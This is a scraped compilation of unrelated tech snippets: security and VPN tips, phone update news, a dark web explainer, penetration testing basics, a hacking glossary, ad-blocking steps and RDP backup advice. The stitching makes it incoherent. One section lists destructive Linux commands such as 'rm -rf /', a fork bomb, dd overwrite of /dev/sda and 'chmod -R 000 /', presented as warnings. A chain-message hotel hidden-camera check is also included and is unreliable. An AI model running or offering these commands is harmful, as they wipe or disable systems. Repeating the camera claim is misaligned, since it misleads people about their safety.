━━━━━━━━━━━━━ It’s very possible to protect your computer from bots, but it takes diligence and knowing what to look for. Use the following tips to keep your computer safe:
Install firewalls to block malicious attacks and never turn them off.
Use a long and complicated password that contains numbers and symbols.
Never use the same password for multiple programs.
Install quality anti-malware software such as Norton Security to protect your device.
Ensure software is up to date, and never ignore system updates.
Refrain from using flash drives, or thumb drives, in an infected computer. ━━━━━━━━━━━━━
Realme has developed several custom optimizations to the sensor which will be present on the upcoming Realme 8 Pro. Realme is substituting the process by implementing its own time-lapse video algorithm. Another Realme addition to the ISOCELL HM2 is Tilt-shift time-lapse video which uses an algorithm to capture tilt-shift photos and videos.
━━━━━━━━━━━━━━ The best way to stay secure when using public Wi-Fi is to use a VPN solution, like Norton Secure VPN, which is compatible with Android and iOS smartphones and tablets, as well as Windows PCs and Apple Macs. Here are some questions to ask when you’re choosing a VPN provider.
Do they respect your privacy?
The point of using a VPN is to protect your privacy, so it’s crucial that your VPN provider respects your privacy, too. They should have a no-log policy, which means that they never track or log your online activities.
Do they run the most current protocol?
OpenVPN provides stronger security than other protocols, such as PPTP.
Do they set data limits?
Depending on your Internet usage, bandwidth may be a large deciding factor for you. Make sure their services match your needs by checking to see if you’ll get full, unmetered bandwidth without data limits. Remember, some packages may not cost you money, but you’ll be subjected to frequent advertisements instead.
Where are the servers located?
Decide which server locations are important to you. If you want to appear as if you’re accessing the Web from a certain locale, make sure there’s a server in that country.
Will you be able to set up VPN access on multiple devices?
If you are like the average consumer, you use between three and five devices. Ideally, you’d be able to use the VPN on all of them at the same time.
What happens if the VPN goes down?
Be sure that your provider implements a kill switch system in the event of failure. This means that your connection would automatically be locked down and would not default to an unsecured Internet connection if something goes wrong.
The “dark web” is a subset of the “deep web”. The deep web is just the part of the web that isn’t accessible by search engines. You won’t find these websites when you use a search engine like Google or Bing, but they’re otherwise normal websites. The “dark web” is a smaller part of the deep web that can’t be accessed without special software. The dark web is a decentralized network of internet sites that try to make users as anonymous as possible by routing all their communications through multiple servers and encrypting it at every step. The darknets which constitute the dark web include small, friend-to-friend peer-to-peer networks, as well as large, popular networks such as Tor, Freenet, I2P, and Riffle operated by public organizations and individuals. Users of the dark web refer to the regular web as Clearnet due to its unencrypted nature.The Tor dark web or onionland uses the traffic anonymization technique of onion routing under the network’s top-level domain suffix (.onion).
With One UI 3.1, multi-tasking becomes easier on the Galaxy Z Fold2 5G, since users can now quickly return to up to three previously opened Multi-Active Windows on the main screen via the Recents tab, while also being able to bring two Multi-Active Windows from the main screen to the cover screen. With One UI 3.1, Samsung syncs the weather widgets on the main and cover screens to offer the same information to the users while also allowing them to turn these screens off with a double-tap or a palm touch. In addition to all these improvements, Samsung has updated the Light and Dark themes on the Galaxy Z Fold2 5G with One UI 3.1 and redesigned the vertical volume slider to reduce the screen’s visual clutter.
1- Linux administrator very often uses this command to format and assign the file system to the newly created disk partition.
But if used irresponsibly, this can also format the data drive on it:
$ mkfs.ext4 / dev / sda Therefore, when using this command, make sure the correct disk partition is selected.
2- Remove directories / etc or / boot / etc contains all the system configuration files, and / boot contains all the kernel, InitRD, and GRUB files required to boot the system.
If you delete any of these folders, then your system will not boot:
$ rm -rf / etc $ rm -rf / boot
Another way to remove your system configuration files and leave it irrecoverable is to use the following command:
$ find / -iname “* .conf” -exec rm -rf {} \; This will find and remove all files ending in .conf (configuration files).
3- Delete entire filesystem Most of you may know about this command, and it looks like this:
$ rm -rf / This will remove the entire filesystem from your server, deleting every byte of data on the disk.
4- Fork bomb This command creates copies of itself indefinitely, and in no time all the memory of your system will be clogged and therefore it will crash the system,
$ : () {: |: &} ;: It can also damage the disc.
5- Fill the disk with random data
$ dd if = / dev / urandom of = / dev / sda This will fill the disk with random data.
Another variation of this command overwrites the disk multiple times over the original data: $ shred / dev / sda This command is actually a useful tool, especially when you are throwing away your old drive and you don’t want the data from the old drive to fall into the wrong hands (and another way I learned from the movies is you can drill some holes in the drives as well) …
6- File Violation
All of the above commands are for deleting or overwriting data. But there are ways to disable your system using file permissions.
First command: $ chmod -Rv 000 /
This command will remove all file permissions for all files and folders on the system, and since no one will have permissions on files and folders, no one will be able to access them. $ chown -R nobody: nobody /

When you stay in a hotel, how do you know there is no room secret pinhole camera?
When you travel to an unfamiliar destination or take a business trip, you stay at a hotel, but what you do not know is that you could unknowingly be photographed or be secretly recorded.
In this age of smart recording devices and pinhole sized drones, always remember when staying in a hotel, that you can use this method to check your room :
1.When you have entered into your room, turn off the lights, and close the curtains,open your phone camera, do not turn the flash light on.
2.Turn around the room with your cell phone. When a red dot is found on your screen, that means that a hidden web camera is installed.
If no red dots, then the room is okay.
Please forward this message to your friends who travel a lot. And those that make a lot of business trips.
My dear friends and sisters kindly note and be aware. Don’t be a victim of a nude picture.
Penetration Testing is a method that many companies follow in order to minimize their security breaches. This is a controlled way of hiring a professional who will try to hack your system and show you the loopholes that you should fix.
Before doing a penetration test, it is mandatory to have an agreement that will explicitly mention the following parameters −
>what will be the time of penetration test,
>where will be the IP source of the attack, and
>what will be the penetration fields of the system.
Penetration testing is conducted by professional ethical hackers who mainly use commercial, open-source tools, automate tools and manual checks. There are no restrictions; the most important objective here is to uncover as many security flaws as possible.
Types of Penetration Testing
Black Box − Here, the ethical hacker doesn’t have any information regarding the infrastructure or the network of the organization that he is trying to penetrate. In black-box penetration testing, the hacker tries to find the information by his own means.
Grey Box − It is a type of penetration testing where the ethical hacker has a partial knowledge of the infrastructure, like its domain name server.
White Box − In white-box penetration testing, the ethical hacker is provided with all the necessary information about the infrastructure and the network of the organization that he needs to penetrate.
External Penetration Testing − This type of penetration testing mainly focuses on network infrastructure or servers and their software operating under the infrastructure. In this case, the ethical hacker tries the attack using public networks through the Internet. The hacker attempts to hack the company infrastructure by attacking their webpages, webservers, public DNS servers, etc.
Internal Penetration Testing − In this type of penetration testing, the ethical hacker is inside the network of the company and conducts his tests from there.
Penetration testing can also cause problems such as system malfunctioning, system crashing, or data loss. Therefore, a company should take calculated risks before going ahead with penetration testing. The risk is calculated as follows and it is a management risk.
Samsung introduced One UI 3.1 back in January, during the Galaxy S21 unveiling. Previous flagships are already switching to the new interface little by little, and now it is time for the Galaxy Note10 series. An update is already seeding to Galaxy Note10 and Galaxy Note10 phones in Germany and should be hitting other European countries soon unless major issues are discovered.
All RDPs can fail either because of the user’s error or the RDP going unstable. There are certain ways by which you can avoid any loss of data or minimize the losses.
The one I am going to mention is probably the best one I have found.
Method Prerequisite : A Google account with ample space , Data to backup
1. Download and install Backup and Sync – A free Google Tool
2. Login into your Google Account (if using an EDU Account, please use the login using browser method.
3. Choose the Folders you wish to back up and save.
4. Disable the syncing of Drive on the RDP.
5. Click on start and the selected folders will start getting backed up.
It will look something similar to this after getting backed up.
Note: It’s advisable to close the backing up while you are using a checker as it can hinder with the checker. One can run the backup and sync every few hours and thereby, minimize the losses.
Adware − Adware is software designed to force pre-chosen ads to display on your system.
Attack − An attack is an action that is done on a system to get its access and extract sensitive data.
Back door − A back door, or trap door, is a hidden entry to a computing device or software that bypasses security measures, such as logins and password protections.
Bot − A bot is a program that automates an action so that it can be done repeatedly at a much higher rate for a more sustained period than a human operator could do it. For example, sending HTTP, FTP or Telnet at a higher rate or calling script to create objects at a higher rate.
Botnet − A botnet, also known as zombie army, is a group of computers controlled without their owners’ knowledge. Botnets are used to send spam or make denial of service attacks.
Brute force attack − A brute force attack is an automated and the simplest kind of method to gain access to a system or website. It tries different combination of usernames and passwords, over and over again, until it gets in.
Buffer Overflow − Buffer Overflow is a flaw that occurs when more data is written to a block of memory, or buffer, than the buffer is allocated to hold.
Clone phishing − Clone phishing is the modification of an existing, legitimate email with a false link to trick the recipient into providing personal information.
Cracker − A cracker is one who modifies the software to access the features which are considered undesirable by the person cracking the software, especially copy protection features.
Denial of service attack (DoS) − A denial of service (DoS) attack is a malicious attempt to make a server or a network resource unavailable to users, usually by temporarily interrupting or suspending the services of a host connected to the Internet.
DDoS − Distributed denial of service attack.
Exploit Kit − An exploit kit is software system designed to run on web servers, with the purpose of identifying software vulnerabilities in client machines communicating with it and exploiting discovered vulnerabilities to upload and execute malicious code on the client.
Exploit − Exploit is a piece of software, a chunk of data, or a sequence of commands that takes advantage of a bug or vulnerability to compromise the security of a computer or network system.
Firewall − A firewall is a filter designed to keep unwanted intruders outside a computer system or network while allowing safe communication between systems and users on the inside of the firewall.
Keystroke logging − Keystroke logging is the process of tracking the keys which are pressed on a computer (and which touchscreen points are used). It is simply the map of a computer/human interface. It is used by gray and black hat hackers to record login IDs and passwords. Keyloggers are usually secreted onto a device using a Trojan delivered by a phishing email.
Logic bomb − A virus secreted into a system that triggers a malicious action when certain conditions are met. The most common version is the time bomb.
Malware − Malware is an umbrella term used to refer to a variety of forms of hostile or intrusive software, including computer viruses, worms, Trojan horses, ransomware, spyware, adware, scareware, and other malicious programs.
Master Program − A master program is the program a black hat hacker uses to remotely transmit commands to infected zombie drones, normally to carry out Denial of Service attacks or spam attacks.
Phishing − Phishing is an e-mail fraud method in which the perpetrator sends out legitimate-looking emails, in an attempt to gather personal and financial information from recipients.
Phreaker − Phreakers are considered the original computer hackers and they are those who break into the telephone network illegally, typically to make free longdistance phone calls or to tap phone lines.

The method described below works on Android, starting from version 9.0, however, if your device has an Android version lower than the required one, you can alternatively use the AdGuard ad blocker
You can find out the version of the android by going to the system settings by opening the item “About device” or “About phone”. The Android version field will indicate the currently installed version.
Now let’s move on directly to disabling ads. Note that on different devices, the item names may differ:
Let’s get started:
1. Open settings> wireless networks (Network and Internet)
2. We see the item Private DNS. (You may have it in a separate menu “Other settings”)
3. In the field that opens, enter “dns.AdGuard.com”
That’s it, close the settings and enjoy the absence of ads.
You can also disable advertising through a router – then all devices on the network will work without advertising.
This method works on all devices connected to the router PC, laptop, phone, etc.
We will block it using DNS AdGuard
1. We enter the settings of the router through the browser, drive in the line 192.168.0.1 , or 192.168.1.1 the password and login, if you have not changed admin
2. We find the DNS settings, on each router in different ways.
